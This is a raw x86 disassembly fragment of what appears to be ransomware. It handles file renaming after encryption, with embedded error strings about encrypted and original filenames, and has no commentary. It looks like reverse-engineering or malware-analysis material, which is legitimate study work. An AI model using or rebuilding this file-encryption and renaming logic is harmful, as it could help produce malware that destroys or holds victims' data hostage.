mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 2
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
cmp byte [esp + 0x10], 3
jne 0x1005f441
mov edi, dword [esp + 0x14]
mov esi, dword [edi + 4]
mov ebx, dword [edi]
mov eax, dword [esi]
push ebx
call eax
add esp, 4
cmp dword [esi + 4], 0
je 0x1005f664
cmp dword [esi + 8], 9
jb 0x1005f655
mov ebx, dword [ebx - 4]
mov eax, dword [0x1044eff8]
push ebx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x1044eff8]
push edi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov edi, dword [esp + 8]
lea ebx, [esp + 0x20]
jmp 0x1005f441
mov dword [esp + 0x88], str._ERRORAUTO__Cannot_get_original_filename.
mov dword [esp + 0x8c], 1
mov dword [esp + 0x98], 0
mov dword [esp + 0x90], 0x102cc758
mov dword [esp + 0x94], 0
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
jmp 0x1005fde1
push dword [esp + 0x190]
push dword [esp + 0x18c]
lea eax, [esp + 0x90]
push eax
call fcn.101769e0
add esp, 0xc
mov edi, dword [esp + 0x88]
mov eax, dword [esp + 0x8c]
mov ebx, dword [esp + 0x90]
test edi, edi
mov dword [esp + 4], edi
mov dword [esp + 0xc], eax
cmove edi, eax
test ebx, ebx
je 0x1005f9cc
setns al
js 0x1005fe4b
movzx ecx, al
mov eax, dword [0x1044f00c]
movzx eax, byte [eax]
mov dword [esp + 0x78], ecx
push ecx
push ebx
call fcn.10001510
add esp, 8
mov esi, eax
test eax, eax
jne 0x1005f9d1
push ebx
push dword [esp + 0x7c]
call fcn.1001ac80
add esp, 8
jmp 0x1005fe50
mov esi, 1
push ebx
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x50]
cmp eax, ebx
mov dword [esp + 0xc], eax
jne 0x1005f785
push ebx
push esi
push dword [esp + 0x50]
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
sete al
mov edi, eax
jmp 0x1005f787
xor edi, edi
test ebx, ebx
je 0x1005f79a
mov eax, dword [0x1044eff8]
push esi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 8], 0
lea esi, [esp + 0x20]
lea ebx, [esp + 0x1a4]
je 0x1005f7c5
cmp dword [esp + 4], 0
je 0x1005f7c5
mov eax, dword [0x1044eff8]
push dword [esp + 8]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, edi
test al, al
je 0x1005f817
mov dword [esp + 0x88], str._BUGAUTO__Encrypted_filename_is_the_same_as_original._Should_never_happen.
mov dword [esp + 0x8c], 1
mov dword [esp + 0x98], 0
mov dword [esp + 0x90], 0x102cc758
mov dword [esp + 0x94], 0
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
jmp 0x1005f9b3
lea eax, [esp + 0x7c]
push dword [esp + 0xc]
push dword [esp + 0x4c]
push dword [esp + 0x198]
push dword [esp + 0x194]
push eax
call fcn.10174e40
add esp, 0x14
cmp byte [esp + 0x7c], 4
jne 0x1005f8cb
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x190]
mov dword [esp + 0x1a4], esi
mov dword [esp + 0x88], 0x102cffb0
mov dword [esp + 0x8c], 2
mov dword [esp + 0x98], 0
mov dword [esp + 0x90], ebx
mov dword [esp + 0x1a8], 0x10040bb0
mov dword [esp + 0x94], 2
mov dword [esp + 0x20], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x1ac], eax
mov dword [esp + 0x1b0], 0x100465e0
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
jmp 0x1005f9b3
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x190]
movsd xmm0, qword [esp + 0x7c]
mov dword [esp + 0x88], esi
lea edx, [esp + 0x88]
lea esi, [esp + 0x10]
mov dword [esp + str._ERRORAUTO__Cannot_rename_file__after_encryption_to], 0x102cffd0
mov dword [esp + 0x1a8], 3
mov dword [esp + 0x1b4], 0
mov dword [esp + 0x8c], 0x10040bb0
mov dword [esp + 0x1ac], edx
mov dword [esp + 0x1b0], 3
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0x48]
movsd qword [esp + 0x10], xmm0
mov dword [esp + 0x90], ecx
mov dword [esp + 0x94], 0x100465e0
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], fcn.10167360
push ebx
call fcn.100748a0
add esp, 4
cmp byte [esp + 0x10], 3
jne 0x1005f9b3
mov esi, dword [esp + 0x14]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
push edi
call eax
add esp, 4
cmp dword [ebx + 4], 0
je 0x1005f9a4
cmp dword [ebx + 8], 9
jb 0x1005f995
mov edi, dword [edi - 4]
mov eax, dword [0x1044eff8]
push edi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x1044eff8]
push esi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x4c], 0
je 0x1005fde1
mov eax, dword [0x1044eff8]
push dword [esp + 0x48]
jmp 0x1005fdd8
mov esi, 1
push ebx
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [esp + 4]
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
test ecx, ecx
je 0x1005fa06
cmp dword [esp + 0xc], 0
je 0x1005fa06
mov eax, dword [0x1044eff8]
push ecx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
lea ebx, [esp + 0x20]
cmp dword [esp + 0x148], 0
je 0x1005fb15
cmp byte [esp + 8], 0
je 0x1005fb15
mov edx, dword [esp + 0x2fc]
lea edi, [esp + 0x48]
mov ecx, edi
push dword [esp + 0x304]
call fcn.100546e0
add esp, 4
lea eax, [esp + 0x148]
mov dword [esp + 0x1a4], edi
mov dword [esp + 0x1a8], 0x10048ae0
mov dword [esp + 0x88], 0x102cfcfc
mov dword [esp + 0x8c], 2
mov dword [esp + 0x98], 0
mov dword [esp + 0x1ac], eax
lea eax, [esp + 0x1a4]
mov dword [esp + 0x1b0], 0x1002e030
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 2
lea eax, [esp + 0x88]
push eax
push ebx
call fcn.1001b0a0
add esp, 8
cmp dword [esp + 0x4c], 0
je 0x1005face
mov eax, dword [0x1044eff8]
push dword [esp + 0x48]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [esp + 0x20]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x28]
movsd qword [esp + 0x88], xmm0
sub eax, edi
mov dword [esp + 0x90], ebx
mov esi, dword [esp + 0x88]
cmp eax, ebx
jae 0x1005fbe9
mov edx, edi
lea ecx, [esp + 0x10]
push ebx
call fcn.10048870
add esp, 4
jmp 0x1005fbe5
mov edx, dword [esp + 0x2fc]
lea edi, [esp + 0x1a4]
mov ecx, edi
push dword [esp + 0x304]
call fcn.100546e0
add esp, 4
mov dword [esp + 0x20], edi
mov dword [esp + 0x88], 0x102cfebc
mov dword [esp + 0x8c], 1
mov dword [esp + 0x98], 0
mov dword [esp + 0x90], ebx
mov dword [esp + 0x24], 0x10048ae0
mov dword [esp + 0x94], 1
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.1001b0a0
add esp, 8
cmp dword [esp + 0x1a8], 0
je 0x1005fba7
mov eax, dword [0x1044eff8]
push dword [esp + 0x1a4]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [esp + 0x48]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x50]
movsd qword [esp + 0x88], xmm0
sub eax, edi
mov dword [esp + 0x90], ebx
mov esi, dword [esp + 0x88]
cmp eax, ebx
jae 0x1005fbe9
mov edx, edi
lea ecx, [esp + 0x10]
push ebx
call fcn.10048870
add esp, 4
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
add eax, edi
push ebx
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add edi, ebx
cmp dword [esp + 0x8c], 0
mov dword [esp + 0x18], edi
je 0x1005fc19
mov eax, dword [0x1044eff8]
push esi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
lea esi, [esp + 0x20]
lea eax, [esp + 0x7c]
push edi
push dword [esp + 0x14]
push dword [esp + 0x198]
push dword [esp + 0x194]
push eax
call fcn.10174e40
add esp, 0x14
cmp byte [esp + 0x7c], 4
jne 0x1005fcd9
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x190]
mov dword [esp + 0x88], 0x102cfee4
mov dword [esp + 0x8c], 2
mov dword [esp + 0x98], 0
mov dword [esp + 0x48], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x1a4], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x1a8], 0x1016ce00
mov dword [esp + 0x1ac], eax
lea eax, [esp + 0x1a4]
mov dword [esp + 0x1b0], 0x10048ae0
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 2
lea eax, [esp + 0x88]
push eax
call fcn.100748a0
add esp, 4
jmp 0x1005fdc8
mov eax, dword [esp + 0x188]
movsd xmm0, qword [esp + 0x7c]
mov dword [esp + str._ERRORAUTO__Cannot_rename_file__after_encryption_to], 0x102cff2c
mov dword [esp + 0x1a8], 3
mov dword [esp + 0x1b4], 0
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x190]
movsd qword [esp + 0x20], xmm0
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x88], eax
lea eax, [esp + 0x88]
mov dword [esp + 0x8c], 0x1016ce00
mov dword [esp + 0x1ac], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x1b0], 3
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], 0x10048ae0
mov dword [esp + 0x98], esi
mov dword [esp + 0x9c], fcn.10167360
lea eax, [esp + 0x1a4]
push eax
call fcn.100748a0
add esp, 4
cmp byte [esp + 0x20], 3
jne 0x1005fdc8
mov esi, dword [esp + 0x24]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
push edi
call eax
add esp, 4
cmp dword [ebx + 4], 0
je 0x1005fdb9
cmp dword [ebx + 8], 9
jb 0x1005fdaa
mov edi, dword [edi - 4]
mov eax, dword [0x1044eff8]
push edi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x1044eff8]
push esi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x14], 0
je 0x1005fde1
mov eax, dword [0x1044eff8]
push dword [esp + 0x10]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x398], 2
je 0x1005edc4
cmp dword [esp + 0x3c0], 5
jb 0x1005fe0e
mov eax, dword [0x1044eff8]
push dword [esp + 0x3a0]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x3f0], 5
jb 0x1005edc4
mov eax, dword [0x1044eff8]
push dword [esp + 0x3d0]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
jmp 0x1005edc4
call fcn.1001ac40
jmp 0x1005fe50
call fcn.1001ac40
jmp 0x1005fe50
call fcn.1001ac40
jmp 0x1005fe50
call fcn.1001ac40
ud2